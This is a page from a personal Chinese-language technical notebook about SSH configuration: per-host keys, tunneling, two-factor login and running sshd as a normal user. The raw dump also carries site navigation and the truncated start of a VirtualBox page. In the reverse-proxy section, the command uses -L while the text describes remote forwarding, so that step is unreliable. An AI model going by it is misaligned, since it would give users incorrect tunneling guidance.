\n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Linux-SSH\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Linux-SSH\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#id_rsa\" class=\"md-nav__link\">\n    客户端不同服务器使用不同的id_rsa\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd\" class=\"md-nav__link\">\n    换个端口开启一个临时的sshd\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh_1\" class=\"md-nav__link\">\n    ssh反向代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh_2\" class=\"md-nav__link\">\n    启用SSH密钥登录后两步验证\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh-ubuntu\" class=\"md-nav__link\">\n    ssh登录禁用默认的信息显示 Ubuntu\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh-config\" class=\"md-nav__link\">\n    ssh config里直接指定端口转发\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"ssh config里直接指定端口转发\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    在本地访问远程\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    在远程访问本地\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd_1\" class=\"md-nav__link\">\n    普通用户启动第二个sshd\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#id_rsa\" class=\"md-nav__link\">\n    客户端不同服务器使用不同的id_rsa\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd\" class=\"md-nav__link\">\n    换个端口开启一个临时的sshd\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh_1\" class=\"md-nav__link\">\n    ssh反向代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh_2\" class=\"md-nav__link\">\n    启用SSH密钥登录后两步验证\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh-ubuntu\" class=\"md-nav__link\">\n    ssh登录禁用默认的信息显示 Ubuntu\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ssh-config\" class=\"md-nav__link\">\n    ssh config里直接指定端口转发\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"ssh config里直接指定端口转发\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    在本地访问远程\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    在远程访问本地\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sshd_1\" class=\"md-nav__link\">\n    普通用户启动第二个sshd\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"ssh\">SSH<a class=\"headerlink\" href=\"#ssh\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"id_rsa\">客户端不同服务器使用不同的id_rsa<a class=\"headerlink\" href=\"#id_rsa\" title=\"Permanent link\">&para;</a></h2>\n<p>修改<code>.ssh/config</code>:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">Host</span><span class=\"w\"> </span><span class=\"nv\">myshortname</span><span class=\"w\"> </span><span class=\"nv\">realname</span>.<span class=\"nv\">example</span>.<span class=\"nv\">com</span>\n<span class=\"w\">    </span><span class=\"nv\">HostName</span><span class=\"w\"> </span><span class=\"nv\">realname</span>.<span class=\"nv\">example</span>.<span class=\"nv\">com</span>\n<span class=\"w\">    </span><span class=\"nv\">IdentityFile</span><span class=\"w\"> </span><span class=\"o\">~/</span>.<span class=\"nv\">ssh</span><span class=\"o\">/</span><span class=\"nv\">realname_rsa</span><span class=\"w\"> </span>#<span class=\"w\"> </span><span class=\"nv\">private</span><span class=\"w\"> </span><span class=\"nv\">key</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">realname</span>\n<span class=\"w\">    </span><span class=\"nv\">User</span><span class=\"w\"> </span><span class=\"nv\">remoteusername</span>\n\n<span class=\"nv\">Host</span><span class=\"w\"> </span><span class=\"nv\">aliyun</span>\n<span class=\"w\">    </span><span class=\"nv\">HostName</span><span class=\"w\"> </span><span class=\"mi\">1</span>.<span class=\"mi\">2</span>.<span class=\"mi\">3</span>.<span class=\"mi\">4</span>\n<span class=\"w\">    </span><span class=\"nv\">IdentityFile</span><span class=\"w\"> </span><span class=\"o\">~/</span>.<span class=\"nv\">ssh</span><span class=\"o\">/</span><span class=\"nv\">realname2_rsa</span>\n<span class=\"w\">    </span><span class=\"nv\">Port</span><span class=\"w\"> </span><span class=\"mi\">10022</span>\n<span class=\"w\">    </span><span class=\"nv\">User</span><span class=\"w\"> </span><span class=\"nv\">root</span>\n</code></pre></div>\n\n<p>然后就能ssh aliyun这样访问1.2.3.4:10022的ssh了，不用修改/etc/hosts</p>\n<h2 id=\"sshd\">换个端口开启一个临时的sshd<a class=\"headerlink\" href=\"#sshd\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>which sshd\n/usr/sbin/sshd -oPort=2333\n</code></pre></div>\n\n<h2 id=\"ssh_1\">ssh反向代理<a class=\"headerlink\" href=\"#ssh_1\" title=\"Permanent link\">&para;</a></h2>\n<p>参见：http://www.tuicool.com/articles/UVRNfi</p>\n<p>将本机的22端口转发至外网服务器的2222端口：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">ssh</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"mf\">0.0.0.0</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">L</span><span class=\"w\"> </span><span class=\"mi\">2222</span><span class=\"err\">:</span><span class=\"mf\">127.0.0.1</span><span class=\"err\">:</span><span class=\"mi\">22</span><span class=\"w\"> </span><span class=\"k\">user</span><span class=\"nv\">@ip</span>\n</code></pre></div>\n\n<p>注意在运行前需要设置免密码登录以及修改外网服务器的sshd_config，加入GatewayPorts  yes</p>\n<hr />\n<h2 id=\"ssh_2\">启用SSH密钥登录后两步验证<a class=\"headerlink\" href=\"#ssh_2\" title=\"Permanent link\">&para;</a></h2>\n<p>效果：不允许密码登录，使用密钥登录后，需要输入手机Google Authenticator显示的动态验证码</p>\n<p>注意在确定两步登录能成功之前，保持一个SSH连接以免配置出错无法再控制服务器</p>\n<p>第零步，确保自己知道root密码还能物理登录服务器</p>\n<p>第一步，安装Google Authenticator这个包</p>\n<div class=\"codehilite\"><pre><span></span><code>apt-get install -y libpam-google-authenticator\n</code></pre></div>\n\n<p>第二步，修改/etc/pam.d/sshd</p>\n<p>在顶部（在@include common-auth之前）添加这一行：</p>\n<div class=\"codehilite\"><pre><span></span><code>auth sufficient pam_google_authenticator.so\n</code></pre></div>\n\n<p>第三步，修改/etc/ssh/sshd_config</p>\n<p>不存在则添加，存在但不同就修改，顺序无关</p>\n<div class=\"codehilite\"><pre><span></span><code>PubkeyAuthentication yes\nAuthenticationMethods publickey,keyboard-interactive\nChallengeResponseAuthentication yes\nPasswordAuthentication no\nUsePAM yes\n</code></pre></div>\n\n<p>第四步，创建一个密钥</p>\n<div class=\"codehilite\"><pre><span></span><code>google-authenticator\n</code></pre></div>\n\n<p>对问题均回答y或者自行决定咯~</p>\n<p>第五步，重启服务以生效</p>\n<p>service ssh restart</p>\n<p>注意它的提问，Verification code问的才是验证码，Password问的是账号密码</p>\n<hr />\n<h2 id=\"ssh-ubuntu\">ssh登录禁用默认的信息显示 Ubuntu<a class=\"headerlink\" href=\"#ssh-ubuntu\" title=\"Permanent link\">&para;</a></h2>\n<p>Ubuntu 默认登录后会显示Welcome to Ubuntu等多少软件包可以升级信息，这些信息并不是很重要，却会拖慢ssh登录的速度</p>\n<p>禁用方法如下：From: https://ubuntuforums.org/showthread.php?t=1449020</p>\n<p>编辑这两个文件：<code>/etc/pam.d/login</code>, <code>/etc/pam.d/sshd</code>，找到其中包含<code>pam_motd</code>的行，注释掉之后 <code>service ssh reload</code></p>\n<p>以后再登录ssh就不用等待了</p>\n<h2 id=\"ssh-config\">ssh config里直接指定端口转发<a class=\"headerlink\" href=\"#ssh-config\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://www.ssh.com/academy/ssh/tunneling/example</p>\n<h3 id=\"_1\">在本地访问远程<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>LocalForward 5901 computer.myHost.edu:5901\n</code></pre></div>\n\n<p>等价于<code>-L 5901:computer.myHost.edu:5901</code>，将远程的5901端口映射到本地</p>\n<h3 id=\"_2\">在远程访问本地<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>RemoteForward 1234 127.0.0.1:3421\n</code></pre></div>\n\n<p>这样等价于<code>-R 1234:127.0.0.1:3421</code>，让远程服务器可以通过访问127.0.0.1:1234来访问到客户端的3421</p>\n<p>如果需要允许这个转发的1234端口对外提供访问，还需要修改服务器的sshd_config，设置<code>GatewayPorts yes</code></p>\n<h2 id=\"sshd_1\">普通用户启动第二个sshd<a class=\"headerlink\" href=\"#sshd_1\" title=\"Permanent link\">&para;</a></h2>\n<p>参考:\n- https://serverfault.com/questions/344295/is-it-possible-to-run-sshd-as-a-normal-user\n- https://serverfault.com/questions/471327/how-to-change-a-ssh-host-key</p>\n<p>以下使用<code>~/.ssh</code>文件夹存放Host key</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir ~/.ssh -p\nssh-keygen -q -N &quot;&quot; -t dsa -f ~/.ssh/ssh_host_dsa_key\nssh-keygen -q -N &quot;&quot; -t rsa -b 4096 -f ~/.ssh/ssh_host_rsa_key\nssh-keygen -q -N &quot;&quot; -t ecdsa -f ~/.ssh/ssh_host_ecdsa_key\nssh-keygen -q -N &quot;&quot; -t ed25519 -f ~/.ssh/ssh_host_ed25519_key\ncp /etc/ssh/sshd_config ~/.ssh/\n</code></pre></div>\n\n<p>编辑~/.ssh/sshd_config文件，修改这些项目:</p>\n<ul>\n<li>UsePrivilegeSeparation no</li>\n<li>UsePAM no</li>\n<li>HostKey ~/.ssh/ssh_host_rsa_key &lt;-需要替换为绝对路径</li>\n<li>Port 2222</li>\n<li>PasswordAuthentication no</li>\n</ul>\n<p>然后启动sshd进程：(如果登录不了加上-d看调试信息）</p>\n<div class=\"codehilite\"><pre><span></span><code>/usr/sbin/sshd -f ~/.ssh/sshd_config\n</code></pre></div>\n\n<p>登录的时候需要使用ssh key登录，因为sshd并不能读取/etc/shadow</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Linux-VirtualBox/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Linux-cli/\">\n      \n      \n        <link rel=\"next\" href=\"../Ubuntu/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Linux-VirtualBox - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#virtualbox\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Linux-VirtualBox\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input 